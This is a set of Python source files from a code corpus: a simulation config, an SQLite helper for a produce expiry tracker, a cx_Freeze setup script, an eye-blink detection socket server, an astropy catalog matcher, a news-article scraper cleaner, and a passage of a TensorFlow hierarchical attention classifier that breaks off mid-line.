{'dis':'{disease} == 1'}\r\n\r\nsimulation_data['multiproc'] = False\r\n#simulation_data['multiproc'] = True\r\nsimulation_data['processors'] = 32\r\n\r\n############################ DISEASE PARAMS ###################################\r\n\r\nsimulation_data['order'] = 1 #order of clustering neighborhood \r\nsimulation_data['patients_number'] = 100 # pn\r\n\r\n############################ NETWORK MODEL ####################################\r\n\r\nsimulation_data['rho_0_list'] = [0.01, 0.02, 0.03, 0.04, 0.05, 0.06, 0.07, 0.08, 0.09, 0.1, 0.11, 0.12, 0.13, 0.14, 0.15, 0.16, 0.17, 0.18, 0.19, 0.2] #expression density #expression density\r\nsimulation_data['f_list'] = range(0,11)\r\n\r\n#simulation_data = {}\r\nsimulation_data['order'] = 1 #order of clustering neighborhood \r\n\r\nsimulation_data['network_type'] = 'ER'\r\n\r\n\"\"\"\r\n###############################################################################\r\n################################ SETUP ########################################\r\n###############################################################################\r\n\r\n# Erdos Renyi network \r\nsimulation_data['network_n'] = 1000\r\nsimulation_data['network_p'] = 0.006 \r\n\r\n# disease \r\nsimulation_data['D'] = 50 #disease related genes \r\nsimulation_data['p'] = 0.5 #clustering probability\r\n\r\n# cohort\r\nsimulation_data['P'] = 15 #patiens number\r\nsimulation_data['A'] = 0.5 #disease expression density scaling\r\n\r\n###############################################################################\r\n############################### RUN ###########################################\r\n###############################################################################\r\n\r\n#start = time.time()\r\n\r\nseries = simulate_series(simulation_data) \r\nplot_network(series[str(0.02)][str(2)]) \r\n#print \"whole time = \" + str(time.time() - start) \r\n\"\"\"","sub_path":"code_A_1.py","file_name":"code_A_1.py","file_ext":"py","file_size_in_byte":37258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"163628548","text":"import sqlite3\nfrom sqlite3 import Error\nimport numpy as np\nfrom datetime import datetime as dt, date, timedelta\nimport time\nimport os.path\n\n# ----------------- HELPER FUNCTIONS ----------------- #\n\n\n# General function that executes sql code given the connection and sql\n# Optional parameter for data used in the query\n# Optional parameter for not needing to execute a db commit (when not modifying data)\n# Returns cursor on success, None otherwise\ndef execute_sql(connection, sql, data=None, commit=True):\n try:\n curs = connection.cursor()\n if data is None:\n curs.execute(sql)\n else:\n curs.execute(sql, data)\n if commit:\n connection.commit()\n return curs\n except Error as err:\n print(err)\n return None\n\n\n# ----------------- CREATION FUNCTIONS ----------------- #\n\n\n# Takes in the name of the db file and returns a connection to that db file.\ndef create_connection(db_file):\n connection = None\n\n try:\n connection = sqlite3.connect(os.path.join(os.path.dirname(__file__), db_file))\n return connection\n # print(sqlite3.version) # can use to print version\n except Error as err:\n print(err)\n\n return connection\n\n\n# Creates the general items table in the expirations.db file\ndef create_general_table():\n sql_create_general_items_table = \"\"\" CREATE TABLE IF NOT EXISTS general_items (\n itemName varchar,\n id integer NOT NULL PRIMARY KEY,\n category integer NOT NULL,\n subcategory integer,\n storageType integer,\n unopened boolean,\n expirationLowerBound integer NOT NULL,\n expirationUpperBound integer,\n expirationUnitType varchar NOT NULL\n );\"\"\"\n\n connection = create_connection(\"expirations.db\")\n\n if connection is not None:\n execute_sql(connection, sql_create_general_items_table, commit=False)\n else:\n print(\"Unable to create expirations.db connection.\")\n\n\n# Creates the user items table in the useritems.db file\ndef create_user_table():\n sql_create_user_items_table = \"\"\" CREATE TABLE IF NOT EXISTS user_items (\n itemName varchar NOT NULL,\n id integer PRIMARY KEY,\n category integer NOT NULL,\n subcategory integer,\n storageType integer,\n unopened boolean,\n expirationLowerBound integer NOT NULL,\n expirationUpperBound integer,\n expirationUnitType varchar NOT NULL,\n expirationDate datetime NOT NULL\n );\"\"\"\n\n connection = create_connection(\"useritems.db\")\n\n if connection is not None:\n execute_sql(connection, sql_create_user_items_table, commit=False)\n else:\n print(\"Unable to create useritems.db connection.\")\n\n\n# Creates the categories table in the categories.db file\ndef create_category_table():\n sql_create_category_table = \"\"\" CREATE TABLE IF NOT EXISTS categories (\n id integer PRIMARY KEY,\n category varchar NOT NULL\n );\"\"\"\n\n connection = create_connection(\"categories.db\")\n\n if connection is not None:\n execute_sql(connection, sql_create_category_table, commit=False)\n else:\n print(\"Unable to create categories.db connection.\")\n\n\n# Creates the subcategories table in the subcategories.db file\ndef create_subcategory_table():\n sql_create_subcategory_table = \"\"\" CREATE TABLE IF NOT EXISTS subcategories(\n id integer PRIMARY KEY,\n subcategory varchar NOT NULL\n );\"\"\"\n\n connection = create_connection(\"subcategories.db\")\n\n if connection is not None:\n execute_sql(connection, sql_create_subcategory_table, commit=False)\n else:\n print(\"Unable to create subcategories.db connection.\")\n\n\n# Creates the storagetype table in the storagetypes.db file\ndef create_storage_type_table():\n sql_create_storage_type_table = \"\"\" CREATE TABLE IF NOT EXISTS storagetype(\n id integer PRIMARY KEY,\n storagetype varchar NOT NULL\n );\"\"\"\n\n connection = create_connection(\"storagetypes.db\")\n\n if connection is not None:\n execute_sql(connection, sql_create_storage_type_table, commit=False)\n else:\n print(\"Unable to create storagetypes.db connection.\")\n\n\n# ----------------- INSERTION FUNCTIONS ----------------- #\n\n\n# Inserts item in general_items table in expirations.db file\n# Returns True on successful insertion, returns False otherwise\ndef insert_general_table(item):\n sql_insert_general_table = \"\"\" INSERT INTO general_items (itemName, id, category, subcategory, storageType,\n unopened, expirationLowerBound, expirationUpperBound,\n expirationUnitType) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)\"\"\"\n\n connection = create_connection(\"expirations.db\")\n\n if connection is not None:\n return True if execute_sql(connection, sql_insert_general_table, item) is not None else False\n else:\n print(\"Unable to create expirations.db connection.\")\n return False\n\n\n# Inserts item in user_items table in useritems.db file\n# Returns True on successful insertion, returns False otherwise\ndef insert_user_table(item):\n\n normal_days = 0\n\n if item[8] == 'Days' or item[8] == 'days':\n normal_days = item[6]\n elif item[8] == 'Weeks' or item[8] == 'weeks':\n normal_days = item[6] * 7\n elif item[8] == 'Months' or item[8] == 'months':\n normal_days = item[6] * 30\n elif item[8] == 'Years' or item[8] == 'years':\n normal_days = item[6] * 365\n\n expirationDate = date.today() + timedelta(days=normal_days)\n item = list(item)\n item.append(expirationDate)\n\n results = query_all_user_item()\n i = 0\n for res in results:\n if res[1] == i:\n i += 1\n else:\n break\n\n item[1] = i\n item = tuple(item)\n\n sql_insert_user_table = \"\"\"INSERT INTO user_items (itemName, id, category, subcategory, storageType,\n unopened, expirationLowerBound, expirationUpperBound,\n expirationUnitType, expirationDate) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\"\"\"\n\n connection = create_connection(\"useritems.db\")\n\n if connection is not None:\n return item[1] if execute_sql(connection, sql_insert_user_table, item) is not None else False\n else:\n print(\"Unable to create useritems.db connection.\")\n return False\n\n\n# Inserts category in categories table in categories.db file\n# Returns True on successful insertion, returns False otherwise\ndef insert_category_table(category):\n sql_insert_category_table = \"\"\"INSERT INTO categories (id, category) VALUES(?, ?)\"\"\"\n\n connection = create_connection(\"categories.db\")\n\n if connection is not None:\n return True if execute_sql(connection, sql_insert_category_table, category) is not None else False\n else:\n print(\"Unable to create categories.db connection.\")\n return False\n\n\n# Inserts subcategory in subcategories table in subcategories.db file\n# Returns True on successful insertion, returns False otherwise\ndef insert_subcategory_table(subcategory):\n sql_insert_subcategory_table = \"\"\"INSERT INTO subcategories (id, subcategory) VALUES(?, ?)\"\"\"\n\n connection = create_connection(\"subcategories.db\")\n\n if connection is not None:\n return True if execute_sql(connection, sql_insert_subcategory_table, subcategory) is not None else False\n else:\n print(\"Unable to create subcategories.db connection.\")\n return False\n\n\n# Inserts storage_type in storagetype table in storagetypes.db\n# Returns True on successful insertion, returns False otherwise\ndef insert_storage_type_table(storage_type):\n sql_insert_storage_type_table = \"\"\"INSERT INTO storagetype (id, storagetype) VALUES(?, ?)\"\"\"\n\n connection = create_connection(\"storagetypes.db\")\n\n if connection is not None:\n return True if execute_sql(connection, sql_insert_storage_type_table, storage_type) is not None else False\n else:\n print(\"Unable to create storagetypes.db connection.\")\n return False\n\n\n# ----------------- UPDATE FUNCTIONS ----------------- #\n\n\n# Updates item in general_items table in expirations.db file\ndef update_general_table(item):\n sql_update_general_table = \"\"\" UPDATE general_items\n SET id = ? ,\n category = ? ,\n subcategory = ? ,\n storageType = ? ,\n unopened = ? ,\n expirationLowerBound = ? ,\n expirationUpperBound = ? ,\n expirationUnitType = ?\n WHERE itemName = ?\"\"\"\n\n connection = create_connection(\"expirations.db\")\n\n if connection is not None:\n return True if execute_sql(connection, sql_update_general_table, item) is not None else False\n else:\n print(\"Unable to create expirations.db connection.\")\n return False\n\n\n# Updates item in user_items table in useritems.db file\ndef update_user_table(item):\n sql_update_user_table = \"\"\" UPDATE user_items\n SET id = ? ,\n category = ? ,\n subcategory = ? ,\n storageType = ? ,\n unopened = ? ,\n expirationLowerBound = ? ,\n expirationUpperBound = ? ,\n expirationUnitType = ?,\n expirationDate = ?\n WHERE itemName = ?\"\"\"\n\n connection = create_connection(\"useritems.db\")\n\n if connection is not None:\n return True if execute_sql(connection, sql_update_user_table, item) is not None else False\n else:\n print(\"Unable to create useritems.db connection.\")\n return False\n\n\n# Updates category in categories table in categories.db file\ndef update_category_table(category):\n sql_update_category_table = \"\"\"UPDATE categories\n SET category = ?\n WHERE id = ?\"\"\"\n\n connection = create_connection(\"categories.db\")\n\n if connection is not None:\n return True if execute_sql(connection, sql_update_category_table, category) is not None else False\n else:\n print(\"Unable to create categories.db connection.\")\n return False\n\n\n# Updates subcategory in subcategories table in subcategories.db file\ndef update_subcategory_table(subcategory):\n sql_update_subcategory_table = \"\"\"UPDATE subcategories\n SET subcategory = ?\n WHERE id = ?\"\"\"\n\n connection = create_connection(\"subcategories.db\")\n\n if connection is not None:\n return True if execute_sql(connection, sql_update_subcategory_table, subcategory) is not None else False\n else:\n print(\"Unable to create subcategories.db connection.\")\n return False\n\n\n# Updates storage_type in storagetype table in storagetypes.db\ndef update_storage_type_table(storage_type):\n sql_update_storage_type_table = \"\"\"UPDATE storagetype\n SET storagetype = ?\n WHERE id = ?\"\"\"\n\n connection = create_connection(\"storagetypes.db\")\n\n if connection is not None:\n return True if execute_sql(connection, sql_update_storage_type_table, storage_type) is not None else False\n else:\n print(\"Unable to create storagetypes.db connection.\")\n return False\n\n\n# ----------------- QUERY FUNCTIONS ----------------- #\n\n\ndef query_all_user_item():\n sql_query_user_item = \"\"\"SELECT * FROM user_items\"\"\"\n\n connection = create_connection(\"useritems.db\")\n\n if connection is not None:\n curs = execute_sql(connection, sql_query_user_item, commit=False)\n results = curs.fetchall()\n return results\n else:\n print(\"Unable to create useritems.db connection.\")\n return None\n\n\n# Queries for a user_item based on if item id matches input\n# Returns table results as 2d array from the query\ndef query_user_item_by_id(id):\n sql_query_user_item = \"\"\"SELECT * FROM user_items WHERE id = ?\"\"\"\n\n connection = create_connection(\"useritems.db\")\n\n if connection is not None:\n curs = execute_sql(connection, sql_query_user_item, (id,), commit=False)\n results = curs.fetchall()\n return results\n else:\n print(\"Unable to create useritems.db connection.\")\n return None\n\n\n# Queries for a user_item based on if item name contains input\n# Returns\ndef query_user_item_by_name(name):\n sql_query_user_item = \"\"\"SELECT * FROM user_items WHERE itemName LIKE '%'||?||'%'\"\"\"\n\n connection = create_connection(\"useritems.db\")\n\n if connection is not None:\n curs = execute_sql(connection, sql_query_user_item, (name,), commit=False)\n results = curs.fetchall()\n return results\n else:\n print(\"Unable to create useritems.db connection.\")\n return None\n\n\n# ----------------- DELETE FUNCTIONS ----------------- #\n\n\n# Deletes a user_item according to its id from useritems.db\ndef delete_user_item(id):\n sql_delete_user_item = \"\"\"DELETE FROM user_items WHERE id = ?\"\"\"\n\n connection = create_connection(\"useritems.db\")\n\n if connection is not None:\n return True if execute_sql(connection, sql_delete_user_item, (id,)) is not None else False\n else:\n print(\"Unable to create useritems.db connection.\")\n return False\n\n\n# Deletes all user_items in the table from useritems.db\ndef delete_all_user_items():\n sql_delete_all_items = \"\"\"DELETE FROM user_items\"\"\"\n\n connection = create_connection(\"useritems.db\")\n\n if connection is not None:\n return True if execute_sql(connection, sql_delete_all_items) is not None else False\n else:\n print(\"Unable to create useritems.db connection.\")\n return False\n\n\n# Deletes all general_items in the table from expirations.db\ndef delete_all_general_items():\n sql_delete_all_items = \"\"\"DELETE FROM general_items\"\"\"\n\n connection = create_connection(\"expirations.db\")\n\n if connection is not None:\n return True if execute_sql(connection, sql_delete_all_items) is not None else False\n else:\n print(\"Unable to create expirations.db connection.\")\n return False\n\n\n# Deletes all categories in the table from categories.db\ndef delete_all_categories():\n sql_delete_all_items = \"\"\"DELETE FROM categories\"\"\"\n\n connection = create_connection(\"categories.db\")\n\n if connection is not None:\n return True if execute_sql(connection, sql_delete_all_items) is not None else False\n else:\n print(\"Unable to create categories.db connection.\")\n return False\n\n\n# Deletes all subcategories in the table from subcategories.db\ndef delete_all_subcategories():\n sql_delete_all_items = \"\"\"DELETE FROM general_items\"\"\"\n\n connection = create_connection(\"subcategories.db\")\n\n if connection is not None:\n return True if execute_sql(connection, sql_delete_all_items) is not None else False\n else:\n print(\"Unable to create subcategories.db connection.\")\n return False\n\n\n# Deletes all storage types in the table from storagetypes.db\ndef delete_all_storage_types():\n sql_delete_all_items = \"\"\"DELETE FROM storagetypes\"\"\"\n\n connection = create_connection(\"storagetypes.db\")\n\n if connection is not None:\n return True if execute_sql(connection, sql_delete_all_items) is not None else False\n else:\n print(\"Unable to create storagetypes.db connection.\")\n return False\n\n\ndef levenshtein(s, t):\n rows = len(s)+1\n cols = len(t)+1\n distance = np.zeros((rows,cols), dtype = int)\n\n for i in range(1, rows):\n for k in range(1,cols):\n distance[i][0] = i\n distance[0][k] = k\n\n for col in range(1, cols):\n for row in range(1, rows):\n if s[row-1] == t[col-1]:\n cost = 0\n else:\n cost = 2\n distance[row][col] = min(distance[row-1][col] + 1, # Cost of deletions\n distance[row][col-1] + 1, # Cost of insertions\n distance[row-1][col-1] + cost) # Cost of substitutions\n Ratio = ((len(s)+len(t)) - distance[row][col]) / (len(s)+len(t))\n return Ratio\n\n\ndef match_item(raw_item):\n sql_query_all_item = \"\"\"SELECT * FROM general_items\"\"\"\n\n connection = create_connection(\"expirations.db\")\n\n if connection is not None:\n curs = execute_sql(connection, sql_query_all_item, (), commit=False)\n results = curs.fetchall()\n max = -1\n curr = None\n for i in results:\n ratio = levenshtein(i[0], raw_item).item()\n if ratio > max:\n curr = i\n max = ratio\n return curr\n else:\n print(\"Unable to create expirations.db.\")\n return None\n\n\nif __name__ == \"__main__\":\n # create_general_table()\n create_user_table()\n","sub_path":"producetracker/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":18310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"377335535","text":"\nimport sys\nfrom cx_Freeze import setup, Executable\n\n\nbase = None\n# if on win, dont show console\nif sys.platform == \"win32\":\n base = \"Win32GUI\"\n\n# include the font file\nto_include = [\"DejaVuSansMono.ttf\", \"README.md\"]\n\noptions = {\n \"build_exe\": {\n \"include_files\": to_include,\n \"include_msvcr\": True\n }\n}\n\nsetup(name=\"Cycles\",\n version=\"1.2\",\n executables=[Executable(\"cycles.py\", base=base)],\n options=options\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"81097706","text":"\ndef SyntheticPrimeFixingCategorization(resetType, legCategory):\n extensionValue = \"None\"\n if legCategory.Name() == \"Financing\":\n if resetType == \"Nominal Scaling\":\n extensionValue = \"customFinancingNominalScaling\"\n if legCategory.Name() == \"Performance\":\n if resetType == \"Return\":\n extensionValue = \"customPerformanceReturn\"\n if legCategory.Name() == \"Performance UPL\":\n if resetType == \"Return\":\n extensionValue = \"customPerformanceReturnUPL\"\n if legCategory.Name() == \"Performance RPL\":\n if resetType == \"Return\":\n extensionValue = \"customPerformanceReturnRPL\"\n if legCategory.Name() == \"Dividend\":\n if resetType == \"Nominal Scaling\":\n extensionValue = \"customDividendNominalScaling\"\n if resetType == \"Dividend Scaling\":\n extensionValue = \"customDividendScaling\"\n if legCategory.Name() == \"Stock Borrow\":\n if resetType == \"Nominal Scaling\":\n extensionValue = \"customStockBorrowNominalScaling\"\n return extensionValue\n","sub_path":"Extensions/Synthetic Prime/FPythonCode/FixingCategorizationMappingBase.py","file_name":"FixingCategorizationMappingBase.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"259722162","text":"import socket\nimport cv2, dlib\nimport numpy as np\nfrom keras.models import load_model\nfrom imutils import face_utils\nfrom _thread import *\n\ndef threaded(client_socket):\n count = 0\n closed = False\n while True:\n message = '1'\n client_socket.send(message.encode())\n\n length = recvall(client_socket, 16)\n stringData = recvall(client_socket, int(length))\n data = np.frombuffer(stringData, dtype='uint8')\n\n img_ori = cv2.imdecode(data, 1)\n\n img_ori = cv2.resize(img_ori, dsize=(0, 0), fx=0.5, fy=0.5)\n\n img = img_ori.copy()\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n # TO DO 얼굴 인식 정확도 Up\n faces = detector(gray)\n\n for face in faces:\n shapes = predictor(gray, face)\n shapes = face_utils.shape_to_np(shapes)\n\n eye_img_l, eye_rect_l = crop_eye(gray, eye_points=shapes[36:42])\n eye_img_r, eye_rect_r = crop_eye(gray, eye_points=shapes[42:48])\n\n eye_img_l = cv2.resize(eye_img_l, dsize=IMG_SIZE)\n eye_img_r = cv2.resize(eye_img_r, dsize=IMG_SIZE)\n eye_img_r = cv2.flip(eye_img_r, flipCode=1)\n\n # cv2.imshow('left eye', eye_img_l)\n # cv2.imshow('right eye', eye_img_r)\n\n eye_input_l = eye_img_l.copy().reshape((1, IMG_SIZE[1], IMG_SIZE[0], 1)).astype(np.float32) / 255.\n eye_input_r = eye_img_r.copy().reshape((1, IMG_SIZE[1], IMG_SIZE[0], 1)).astype(np.float32) / 255.\n\n pred_l = model.predict(eye_input_l)\n pred_r = model.predict(eye_input_r)\n\n state_l = 'O %.1f' if pred_l > 0.1 else '- %.1f'\n state_r = 'O %.1f' if pred_r > 0.1 else '- %.1f'\n\n state_l = state_l % pred_l\n state_r = state_r % pred_r\n\n cv2.rectangle(img, (face.left(), face.top()), (face.right(), face.bottom()), (0, 0, 255), 2)\n cv2.rectangle(img, tuple(eye_rect_l[0:2]), tuple(eye_rect_l[2:4]), (255, 0, 0), 2)\n cv2.rectangle(img, tuple(eye_rect_r[0:2]), tuple(eye_rect_r[2:4]), (255, 0, 0), 2)\n\n cv2.putText(img, state_l, tuple(eye_rect_l[0:2]), cv2.FONT_HERSHEY_SIMPLEX, 0.4, (255, 255, 255), 2)\n cv2.putText(img, state_r, tuple(eye_rect_r[0:2]), cv2.FONT_HERSHEY_SIMPLEX, 0.4, (255, 255, 255), 2)\n\n if pred_l > 0.9 and not closed:\n closed = True\n count += 1\n print(\"눈 깜빡임\", count, \"번\")\n elif pred_l <= 0.1:\n closed = False\n cv2.imshow('Image', img)\n\n key = cv2.waitKey(1)\n if key == 27:\n break\n client_socket.close()\n\ndef recvall(sock, count):\n buf = b''\n while count:\n newbuf = sock.recv(count)\n if not newbuf: return None\n buf += newbuf\n count -= len(newbuf)\n return buf\n\ndef crop_eye(img, eye_points): # 눈 추출\n x1, y1 = np.amin(eye_points, axis=0)\n x2, y2 = np.amax(eye_points, axis=0)\n cx, cy = (x1 + x2) / 2, (y1 + y2) / 2\n\n w = (x2 - x1) * 1.2\n h = w * IMG_SIZE[1] / IMG_SIZE[0]\n\n margin_x, margin_y = w / 2, h / 2\n\n min_x, min_y = int(cx - margin_x), int(cy - margin_y)\n max_x, max_y = int(cx + margin_x), int(cy + margin_y)\n\n eye_rect = np.rint([min_x, min_y, max_x, max_y]).astype(np.int)\n\n eye_img = img[eye_rect[1]:eye_rect[3], eye_rect[0]:eye_rect[2]]\n\n return eye_img, eye_rect\n\nIMG_SIZE = (34, 26)\n\ndetector = dlib.get_frontal_face_detector()\npredictor = dlib.shape_predictor('shape_predictor_68_face_landmarks.dat')\n\n# TO DO 오른쪽 눈에 대한 모델 작성\nmodel = load_model('model.h5')\n\nHOST = '127.0.0.1'\nPORT = 9999\n\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nserver_socket.bind((HOST, PORT))\nserver_socket.listen()\n\nprint('server start')\n\nwhile True:\n print('wait')\n\n client_socket, addr = server_socket.accept()\n start_new_thread(threaded, (client_socket, ))\n\nserver_socket.close()","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"35935997","text":"#! /usr/bin/env python\nfrom astropy.coordinates import SkyCoord\nfrom astropy.coordinates import match_coordinates_sky\nimport astropy.units as u\n\n\n\ndef match_cats(RA, Dec, refRA, refDec):\n '''Match a catalog of RA's and Dec's to a reference catalog\n (refRA and refDec).\n \n Return the indices of the reference catalog that match each\n source in the input catalog, and the on-sky\n separation between each source's closest match in arcsec'''\n # create SkyCoord objects to use with the matching\n SC_cat = SkyCoord(ra=RA, dec=Dec, frame='icrs', unit=(u.deg,u.deg))\n SC_refcat = SkyCoord(ra=refRA, dec=refDec, frame='icrs',unit=(u.deg,u.deg))\n\n # idx - indices of matched sources in reference cat\n # sep2d - on-sky angular separation between closest match\n # dist3d - 3D distance between closest matches\n idx,sep2d,dist3d = match_coordinates_sky(SC_cat, SC_refcat)\n # convert separation to arcsecs\n separc = sep2d * u.arcsec\n return (idx,separc)\n\n\ndef main():\n match_cats(RA, Dec, refRA, refDec)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"match_cats.py","file_name":"match_cats.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"548899708","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pickle\nimport json\nimport sys\nimport os\nimport string\nimport requests\nimport ast # for string to list: ast.literal_eval()\nfrom bs4 import BeautifulSoup\nimport bs4\nimport time\nfrom datetime import datetime\nfrom datetime import date\nimport pandas as pd\nimport numpy as np\nimport re\nfrom tqdm import tqdm\nimport warnings\ndata_dir = \"/Users/vigadam/Documents/github/media_network/data/origo/\"\n\n\n# In[91]:\n\n\nclass Helper:\n import json\n\n from bs4 import BeautifulSoup\n import bs4\n\n import pandas as pd\n import numpy as np\n\n import re\n\n import warnings\n\n warnings.filterwarnings(\"ignore\")\n\n def __init__(self, df):\n None\n\n def title_main(self, element, id_):\n for i, soup in tqdm(enumerate(self.soups)):\n try:\n df.loc[self.soups.index[i], \"Title\"] = (\n BeautifulSoup(soup).find(attrs={element: id_}).get_text()\n )\n except AttributeError:\n df.loc[self.soups.index[i], \"Title\"] = None\n\n def link(self):\n for i, soup in tqdm(enumerate(self.soups)):\n soup_for_links = BeautifulSoup(soup).find_all(\"a\")\n link_list = []\n for item in soup_for_links:\n if type(item.get(\"href\")) == str:\n link_list.append(item.get(\"href\"))\n df.loc[self.soups.index[i], \"links\"] = str(list(set(link_list)))\n\n def text_main(self, element, class_id):\n for i, soup in tqdm(enumerate(self.soups)):\n try:\n soup_for_text = (\n BeautifulSoup(soup)\n .find(element, class_=re.compile(class_id))\n .find_all(\"p\")\n )\n text_list = []\n for item in soup_for_text:\n if soup_for_text != \"\":\n text_list.append(item.text)\n df.loc[self.soups.index[i], \"Text\"] = \" \".join(text_list)\n except AttributeError:\n df.loc[self.soups.index[i], \"Text\"] = None\n\n def author_main(self, element, class_id):\n for i, soup in tqdm(enumerate(self.soups)):\n try:\n df.loc[self.soups.index[i], \"Author\"] = (\n BeautifulSoup(soup)\n .find(attrs={element:class_id})\n .get_text()\n .strip()\n )\n except:\n df.loc[self.soups.index[i], \"Author\"] = None\n\n def category_main(self, element, id_):\n for i, soup in tqdm(enumerate(self.soups)):\n try:\n df.loc[self.soups.index[i], \"Category\"] = (\n BeautifulSoup(soup).find(attrs={element: id_}).text.strip()\n )\n\n except:\n df.loc[self.soups.index[i], \"Category\"] = None\n\n def tags_main(self, element, id_):\n for i, soup in tqdm(enumerate(self.soups)):\n try:\n df.loc[self.soups.index[i], \"Tags\"] = (\n BeautifulSoup(soup)\n .find(attrs={element: id_}).text.strip()\n )\n\n except:\n df.loc[self.soups.index[i], \"Tags\"] = None\n df[\"Tags\"] = df[\"Tags\"].str.split(\"\\n\\n\\n\")\n\n def clean(self):\n self.title()\n self.text()\n self.link()\n self.author()\n self.tags()\n\n\n# In[130]:\n\n\nclass Origo(Helper):\n def __init__(self, df):\n page = \"origo\"\n self.data = df.loc[df[\"page\"] == page]\n self.soups = self.data[\"soup\"].dropna()\n\n def title(self):\n Helper.title_main(self, \"class\", \"article-title\")\n\n def text(self):\n for i, soup in tqdm(enumerate(self.soups)):\n try:\n textlist = BeautifulSoup(soup).find(\n attrs={\"class\": \"article-lead\"}\n ).find_all(\"p\") + BeautifulSoup(soup).find(\n attrs={\"class\": \"article-content\"}\n ).find_all(\n \"p\"\n )\n\n df.loc[self.soups.index[i], \"Text\"] = (\n \" \".join([item.get_text().strip() for item in textlist])\n .replace(\"\\xa0\", \"\")\n .strip()\n )\n except AttributeError:\n df.loc[self.soups.index[i], \"Text\"] = None\n\n def author(self):\n Helper.author_main(self, \"class\", \"article-author\")\n\n def tags(self):\n for i, soup in tqdm(enumerate(self.soups)):\n try:\n df.loc[self.soups.index[i], \"Tags\"] = str([\n item.get(\"title\")\n for item in BeautifulSoup(soup)\n .find_all(attrs={\"class\": \"article-meta\"})[0]\n .find_all(\"a\")[1:]\n ])\n\n except:\n df.loc[self.soups.index[i], \"Tags\"] = None\n\n\n# In[83]:\n\n\ndata_list = sorted([\n \"month_04_soups.pkl\",\n \"month_12_soups.pkl\",\n \"month_03_soups.pkl\",\n \"month_06_soups.pkl\",\n \"month_07_soups.pkl\",\n \"month_02_soups.pkl\",\n \"month_10_soups.pkl\",\n \"month_08_soups.pkl\",\n \"month_05_soups.pkl\",\n \"month_11_soups.pkl\",\n \"month_01_soups.pkl\",\n \"month_09_soups.pkl\",\n])\n\ndata_files = [data_dir + item for item in data_list]\n\n\n# In[141]:\n\n\ndf_clean = pd.DataFrame()\nfor data_month in tqdm(data_files):\n\n df = pd.read_pickle(data_month)\n df[\"page\"] = \"origo\"\n\n Origo(df).clean()\n\n df_clean = pd.concat([df_clean, df.drop(columns=[\"Unnamed: 0\", \"soup\"])])\n\n\n# In[109]:\n\n\ndf_clean.to_pickle(data_dir + \"origo_clean.pkl\")\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"cleaning_code/origo_clean.py","file_name":"origo_clean.py","file_ext":"py","file_size_in_byte":5623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"171131484","text":"\"\"\"\nAuthor: He Yu, He Mutian\nTime: 2017/12/26\nDescription:\nImplementation of Hierarchical Attention Network\n\"\"\"\n\nimport tensorflow as tf\nimport _TF_utils as myTF\nimport _option as OPTION\nimport numpy as np\nimport os\n\n\nclass Model(object):\n \"\"\"\n A HAN model for text classification.\n \"\"\"\n\n def __init__(self, sequence_length, sent_length, num_classes, vocab_size, embedding_size,\n Word2vec=True, Trainable=False):\n \"\"\"\n :param sequence_length: int. Number of sentences for each input sample.Remember that we padded all our samples\n to have the same length\n :param sent_length: int. Similar to sequence_length, number of tokens in each (padded) sentence\n :param num_classes: int. Total classes/labels for classification.\n :param vocab_size: int. Total tokens/words number for whole dataset.This is needed to define the size of\n our embedding layer, which will have shape [vocabulary_size, embedding_size]\n :param embedding_size: int. word2vec dimension.\n \"\"\"\n\n self._sequence_length = sequence_length\n self._sent_length = sent_length\n self._num_classes = num_classes\n self._vocab_size = vocab_size\n self._embedding_size = embedding_size\n\n # Embedding layer\n with tf.name_scope(\"embedding\"):\n if Word2vec:\n lineslist = open(os.path.join(OPTION.DATA_PATH, OPTION.DATA_VEC_NAME), 'r').readlines()\n headline = lineslist[0]\n headline = [int(i) for i in (headline.strip()).split(' ')]\n self._vocab_size = headline[0] + 1 # index 0 is for padding\n self._embedding_size = headline[1]\n if embedding_size is not None:\n assert headline[1] == embedding_size, 'error, %d!=%d' % (headline[1], embedding_size)\n vectors = np.zeros([self._vocab_size, self._embedding_size], dtype=np.float32)\n for index in range(1, self._vocab_size):\n line = lineslist[index]\n vec = [float(i) for i in (line.strip()).split(' ')[1:]]\n vectors[index] = np.array(vec, dtype=np.float32)\n self.vectors = myTF.variable_with_weight_decay('vectors', vectors,\n trainable=Trainable,\n wd=None,\n dtype=tf.float32)\n else:\n self.vectors = myTF.variable_with_weight_decay('vectors',\n tf.random_uniform([vocab_size, embedding_size], -1.0,\n 1.0),\n trainable=Trainable,\n wd=None,\n dtype=tf.float32)\n\n def inference(self, input, features_before, eval_data=False):\n \"\"\"\n :param\n input: 2D tensor of [None, sequence_length, sent_length]\n features_before: list, 3D tensor of [batch_size, timestep_size, feature_size]\n :return scores: 2D tensor of [None, num_classes]\n \"\"\"\n\n # Embedding layer\n with tf.name_scope(\"embedding\"):\n # with shape [None, sequence_length, sent_length, embedding_size]\n embedded_chars = tf.nn.embedding_lookup(self.vectors, input)\n # with shape [None, sequence_length, sent_length, embedding_size, 1]\n embedded_chars_expanded = tf.expand_dims(embedded_chars, -1)\n\n # Create a biRNN for each sentence\n def biRNNLayer(inputs, hidden_size, name):\n # inputs: [batch_size, n_step, dim]\n def length(sequences):\n used = 